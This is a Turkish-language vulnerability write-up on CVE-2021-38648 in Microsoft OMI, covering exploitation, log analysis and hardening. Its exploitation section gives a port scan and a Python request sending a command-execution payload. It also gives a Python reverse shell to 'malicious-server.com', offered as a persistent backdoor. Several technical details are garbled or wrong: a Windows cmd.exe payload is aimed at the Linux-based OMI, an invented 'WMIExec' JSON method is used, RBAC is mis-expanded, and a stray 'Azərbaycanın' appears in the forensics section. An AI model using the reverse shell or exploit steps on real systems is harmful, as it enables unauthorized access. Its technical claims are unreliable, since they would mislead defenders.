CVE-2021-38648: Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2021-38648, Microsoft'un Azure VM Yönetim Uzantılarında (Management Extensions) bulunan önemli bir zafiyettir. Bu zafiyet, Microsoft Open Management Infrastructure (OMI) bileşeninde yer alan bir hata nedeniyle ortaya çıkmaktadır. Belirtilen hata, yetki artışına (privilege escalation) neden olan bir zayıflıktan kaynaklıdır. OMI, kullanım kolaylığı ve yönetimsel işlemleri desteklemek amacıyla Azure sanal makineleri gibi bulut ortamlarındaki sistem yöneticileri tarafından yaygın bir şekilde kullanılan bir araçtır. Ancak bu zayıflığın varlığı, kötü niyetli bir kullanıcının sistem üzerinde beklenmedik yetkiler elde etmesine alan açmaktadır.

Zafiyetin tarihçesi incelendiğinde, CVE-2021-38648'in siber güvenlik alanında önemli bir yer tuttuğu görülmektedir. 2021 yılında keşfedilen bu zafiyet, hızlı bir şekilde dikkat çekmiş ve birçok güvenlik uzmanı tarafından incelenmiştir. Analizler sonucunda, OMI'nin bir parçası olan belirli kütüphanelerde (libraries) güvenlik açıklarına neden olan kod hataları tespit edilmiştir. Bu hatalar, sistem yöneticilerinin yetkilerini aşarak, kötü niyetli saldırganların daha yüksek düzeyde erişim elde etmesine olanak tanımaktadır. Kısaca, etkili bir siber güvenlik stratejisinin uygulanmadığı sistemlerde bu zafiyet, yönetici parolalarının veya hassas verilerin ele geçirilmesine neden olabilir.

CVE-2021-38648'in etkileri, özellikle bulut tabanlı hizmetler sunan sektörleri derinden etkilemiştir. Sağlık, finans, eğitim ve kamu sektörü gibi alanlarda faaliyet gösteren kurumlar, bulut teknolojilerini kullanarak verimliliklerini artırmaya çalışırken, bu tür zafiyetlere maruz kalma riski taşımaktadır. Saldırganlar, bu tür zafiyetleri kullanarak sistemlerde izinsiz erişim sağlayabilir, veri ihlalleri gerçekleştirebilir veya hizmetlerin kesintiye uğramasına neden olabilirler.

Gerçek dünya senaryolarından birini göz önünde bulundurursak, büyük bir sağlık kuruluşunun bulut ortamında sakladığı hasta verileri, OMI üzerindeki bu zafiyetten etkilenebilir. Kötü niyetli bir hacker, bu zafiyeti kullanarak sistem üzerinde yönetici erişimine sahip olabilir ve bu şekilde hasta kayıtlarına veya finansal verilere ulaşma şansı elde edebilir. Bu tür bir ihlal, hem hastaların gizliliğini tehdit eder hem de kuruluşun itibarını zedeler.

CyberFlow platformu olarak, bu tür zafiyetlerin etkilerini azaltmak ve hedef sistemlerde güvenlik sağlamak önemlidir. CVE-2021-38648 gibi zafiyetlerin tespit edilmesi ve zamanında giderilmesi, bilgi güvenliğinin sağlanması açısından kritik öneme sahiptir. Saldırganların bu tür zafiyetlerden yararlanmasını önlemek için düzenli güvenlik analizleri yapılmalı, güncellemeler takip edilmeli ve sistem yapılandırmaları gözden geçirilmelidir. Bunun yanı sıra, güvenlik farkındalığını artırmak amacıyla personele yönelik eğitim programları düzenlenmesi de son derece önemlidir.

Sonuç olarak, CVE-2021-38648 gibi zafiyetler, bulut tabanlı altyapılar üzerinde büyük tehditler oluşturabilir. Bu nedenle, işletmelerin siber güvenlik stratejilerini geliştirmeleri ve bu tür zafiyetleri azaltacak önlemleri alarak sistemlerini korumaları gerekmektedir. Unutulmamalıdır ki, güvenlik sadece bir teknoloji meselesi değil, aynı zamanda doğru bir yönetim ve farkındalık sürecidir.

Teknik Sömürü (Exploitation) ve PoC

Microsoft Open Management Infrastructure (OMI) üzerindeki CVE-2021-38648 zafiyeti, siber güvenlik dünyasında önemli bir tehdit oluşturabilecek potansiyele sahiptir. Özellikle Azure VM Yönetim Uzantıları (Management Extensions) içerisinde bulunan bu zafiyet, yetki yükseltilmesine (Privilege Escalation) imkân tanımaktadır. Bir "White Hat Hacker" olarak, bu zafiyetin nasıl sömürülebileceğine dair bilgi vermek hedefindeyiz.

Öncelikle, Microsoft Open Management Infrastructure (OMI), Azure üzerinde sanal makinelerin yönetimi için önemli bir bileşendir. Güvenlik açıkları, bu tür bileşenlerde ciddi risklere yol açabilir. CVE-2021-38648, zafiyetin doğal sonucu olarak, kötü niyetli bir saldırganın sistemdeki yetkilerini artırmasına olanak sağlamaktadır.

Zafiyetin potansiyel etkilerini anlayabilmek için, OMI'nin işleyişine ve güvenlik protokollerine odaklanmalıyız. Kullanıcıların, OMI ile etkileşimde bulunması için gerekli yetkilere sahip olmaları gerekse de, bu zafiyet sayesinde saldırgan, gerekli yetkileri elde ederek sistem üzerinde daha fazla kontrol sahibi olabilmektedir.

Sömürü aşamalarına geçmeden önce, öncelikle mevcut sistemde OMI'nin çalıştığını doğrulamak gerekir. Azure üzerinde bir sanal makineye sahip olduğunuzu varsayarsak, OMI'nin yüklenip yüklenmediğini kontrol etmek için aşağıdaki komutu kullanabilirsiniz:

omiserver --status

Eğer OMI yüklüyse, bir dizi bilgi dönecektir. Zafiyeti sömürmek için gerekli adımlar ise şu şekildedir:

Açık Portların Tespiti: İlk adım olarak OMI'nin hizmet verdiği açık portları tespit etmelisiniz. Genellikle OMI, 5986 (HTTPS) üzerinden çalışır. Port taraması için nmap gibi bir araç kullanılabilir:

nmap -p 5986 &lt;target-ip&gt;

Payload Hazırlama: Söz konusu zafiyetin doğası gereği, uygun bir payload (yük) oluşturmalısınız. Bu payload, yetkisiz komutlar çalıştırmak için tasarlanmalıdır.

import requests

url = "https://&lt;target-ip&gt;:5986/omiserver"
headers = {
    "Content-Type": "application/json"
}

payload = {
    "method": "WMIExec",
    "params": ["cmd.exe", "/c", "whoami"]
}

response = requests.post(url, json=payload, headers=headers, verify=False)
print(response.json())

Bu payload, OMI servisi üzerinden çalıştırılan bir komut sunacaktır. Kötü niyetli bir saldırgan, bu yöntemi kullanarak sistem komutlarını çalıştırabilir ve dolayısıyla yetkilerini artırabilir.

Yetki Yükseltme: Payload'ınızı başarıyla gönderdiğinizde, sistemdeki kullanıcı yetkilerinizi artırabilir ve yöneticilik yetkileri alabilirsiniz. Bunu sağlamak, zafiyetten en yüksek derecede yararlanmanın bir yoludur.
Sürekli Erişim Sağlama: Yetki yükseltmesinden sonra, sürekli erişim elde etmek için arka kapı (backdoor) kurmak isteyebilirsiniz. Aşağıda basit bir örnek verilmektedir:

import socket
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("malicious-server.com", 1234))
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr
os.execvp("bash", ["bash"])

Bu kod parçası, bir ters bağlantı (reverse shell) oluşturmanıza olanak tanıyacaktır. Böylece sistemde sürekli olarak erişim sağlayabilirsiniz.

Sonuç olarak, CVE-2021-38648 zafiyeti, Azure sanal makinelerde kritik güvenlik açıklarına yol açabilir. Zafiyetin keşfi ve sömürülmesi, yetki yükseltmesine ve zararlı aktivitelerin gerçekleştirilmesine olanak sağlayabilir. Dolayısıyla, bu tür zafiyetlere karşı sürekli olarak güncellemeler yapılmalı ve sistem güvenliği sağlanmalıdır. White Hat Hacker olarak, bu zafiyeti anlamak ve etkilerini analiz etmek, güvenlik önlemlerini güçlendirmek açısından son derece önemlidir.

Forensics (Adli Bilişim) ve Log Analizi

Microsoft Open Management Infrastructure (OMI) içindeki zafiyet, saldırganların sistemde yetki yükseltmesi (privilege escalation) gerçekleştirmesine olanak tanır. CVE-2021-38648 olarak adlandırılan bu zafiyet, Azure VM Yönetim Uzantıları içinde yer almakta olup, güvenlik açısından kritik öneme sahip bir durum yaratmaktadır. Özellikle, bulut tabanlı yönetim sistemleri ve sanal makinelerle çalışan kuruluşlar için bu tür zafiyetler, büyük veri kayıplarına veya sistemlerin tamamen kontrol altına alınmasına neden olabilir.

Siber güvenlik uzmanları için bu tür bir saldırının tespit edilmesi, olaylara müdahale sürecinin başlangıcıdır. SIEM (Security Information and Event Management) sistemleri ve log analizi, bu tür zafiyetlerin ortaya çıkmasını engelleyebilir veya gerçekleştiğinde fark edilmesine yardımcı olabilir. Log dosyalarında (Access log, error log vb.) dikkat edilmesi gereken en önemli unsurlardan biri, beklenmedik kullanıcı etkinlikleridir. Azərbaycanın local loglarda dikkat edilmesi gereken bazı anahtar imzalar şunlardır:

Olağan dışı kullanıcı etkinlikleri: Kullanıcıların, normalde erişmedikleri izin seviyelerine ulaşmaya çalıştıkları veya hesaplarının kullanıldığı durumlar, gözden geçirilmelidir. Örneğin, son zamanlarda bu tür yetkilere erişim sağlayan kullanıcıların loglarında artışlar varsa, bu bir tehdit göstergesi olabilir.
Yetkilendirme hataları (Auth Bypass): Kullanıcıların yetkilendirme süreçlerinden geçmeden erişim sağladıklarını gösteren loglar, potansiyel saldırıların işareti olabilir. Hatalı bir oturum açma denemesi veya yetki aşımı (bypass) gibi durumlar, sistemde bir zafiyet bulunduğunu ortaya koyabilir.
İlginç IP adresleri: Belirgin IP adreslerinden gelen isteklerin ötesinde, bilinmeyen veya şüpheli IP adreslerinden gelen kısa süreli erişim talepleri dikkat edilmelidir. Bu tür adresler, saldırganların kullanabileceği proxy’ler veya VPN’ler olabilir.
Kayıtlı olmayan uygulama davranışları: Uygulama logları üzerinde inceleme yaparken, bazı beklenmedik veya rantabl olmayan işlevlerin çalıştırıldığını tespit etmek önemlidir. Örneğin, bir uygulamanın şimdiye dek yalnızca iç testlerde kullanılan bir fonksiyonu ilk kez çalıştırması halinde, bunun potansiyel bir zafiyet göstergesi olabileceği akılda tutulmalıdır.
Anormal işlem süresi ve hata oranları: Belirli fonksiyonların beklenmedik şekilde uzun sürmesi veya hata oranlarının artması, bir istismar sürecinin parçası olabileceğini gösterebilir. Özellikle OMI gibi açık kaynak yönetim altyapılarında yaşanan böyle olaylar, derhal izlenmelidir.

Gerçek dünya senaryosunda, varsayılan olarak OMI'nin izinleri düzgün bir şekilde yapılandırılmamışsa, bir saldırganın sistemde "code execution" (kod yürütme) gerçekleştirmesi mümkün hale gelebilir. Bu tür bir saldırı sonrası loglarda meydana gelen değişiklikler, kullanıcıların, süreçlerin veya uygulamaların beklenmedik davranışlarının izlendiği bir döngü oluşturarak titizlikle araştırılmalıdır.

Siber güvenlik uzmanları, bu tür zafiyetlere yönelik sürekli güncellenen bilgilere ulaşmalı ve sistemlerinizi, olası tehditlere karşı koruma amaçlı güncel tutmalıdır. Ayrıca, benzer zafiyetlerin veya dolandırıcılık olaylarının kamuya açıklanması, çeşitli bilgi paylaşım platformları aracılığıyla yapılmalı ve şirket içi eğitimlerle kullanıcıların farkındalığı artırılmalıdır. Unutulmamalıdır ki, güvenli bir sistem oluşturmak, sadece teknik önlemler almakla değil, aynı zamanda kullanıcı bilinci oluşturmakla da mümkündür.

Savunma ve Sıkılaştırma (Hardening)

Microsoft Open Management Infrastructure (OMI) içindeki CVE-2021-38648 zafiyeti, Azure VM Management Extensions alanında keşfedilmiş bir izin yükseltme zafiyetini temsil eder. Bu zafiyet, kötü niyetli bir saldırganın sistem üzerinde daha yüksek yetkiler elde etmesine olanak tanır. Bir beyaz şapkalı hacker olarak, bu tür açıklıklar, hem bulut ortamlarının güvenliğini sağlamak hem de kurumların güvenlik postürlerini artırmak açısından kritik öneme sahiptir.

CVE-2021-38648 açığı, OMI'nin belirli bir versiyonunda mevcut olup, saldırganların standart kullanıcı hesapları üzerinden yetkilerini artırmalarına olanak tanır. Bu tür bir zafiyet, örneğin bir sistem yöneticisinin kullanıcı hesapları üzerinde denetim sağlamasını tehlikeye atabilir. Bu açıktan yararlanan saldırganlar, sistemde kötü amaçlı yazılımlar kurabilir, veri sızıntılarına sebep olabilir ya da daha fazla saldırı gerçekleştirmek için altyapıyı kullanabilir.

Zafiyetin etkilerini azaltmak ve sistem güvenliğini sağlamak için, bir dizi savunma ve sıkılaştırma yöntemi uygulanabilir. Öncelikle, OMI'nin güncellenmiş ve güvenli bir sürümüne geçmek en önemli adımdır. Microsoft, zafiyetin giderildiği bir güncelleme yayımlamıştır; bu nedenle, VM'lerinizin sürekli olarak güncel tutulması hayati öneme sahiptir.

Alternatif olarak, OMI üzerinde çalışan hizmetlerin Risk Temelli Erişim Kontrol (RBAC) modeline uygun bir şekilde yapılandırılması önerilmektedir. Bu model, kullanıcıların yalnızca ihtiyaç duydukları minimum erişim haklarına sahip olmasını sağlar. Örneğin, yalnızca belirli yöneticilere belirli OMI işlevlerine erişim vererek, sistemin genel güvenliğini artırabilirsiniz.

Ayrıca, iyileştirilmiş firewall (WAF - Web Application Firewall) kurallarının uygulanması da önemlidir. WAF yapılandırmalardaki değişiklikler, kötü niyetli trafik tespitinde etkili olabilir. Örneğin, belirli bir IP adresinden gelen ani ve olağandışı istekler için otomatik koruma kuralları oluşturabilirsiniz.

Kod örneği ile bu tür bir WAF kuralını aşağıda gösterelim:

{
    "rules": [
        {
            "action": "block",
            "matchDetails": {
                "ip": "192.168.1.100",
                "requestMethod": "GET",
                "urlPath": "/omi",
                "threshold": "5"
            },
            "description": "OMI üzerindeki aşırı erişim denemelerini engelle"
        }
    ]
}

Kalıcı sıkılaştırma için öneriler arasında, gereksiz hizmetlerin devre dışı bırakılması, sistem güncellemelerinin otomatik olarak kontrol edilmesi ve donanım tabanlı güvenlik çözümlerinin (Hardware Security Modules - HSM) kullanılması yer alır. Ayrıca, günlükleme (logging) ve izleme çözümlerinin devreye alınarak her türlü erişim girişiminin düzenli olarak incelenmesi, olası tehditlerin erken tespit edilmesine yardımcı olacaktır.

Zafiyetin detaylı bir şekilde araştırılması ve sistem yöneticileri tarafından proaktif önlemlerin alınması, uzun vadede siber güvenlik duruşunu artıracaktır. Unutmayın ki, etkili bir güvenlik stratejisi, sürekli güncellenen bilgi ve uygulamaları gerektirir.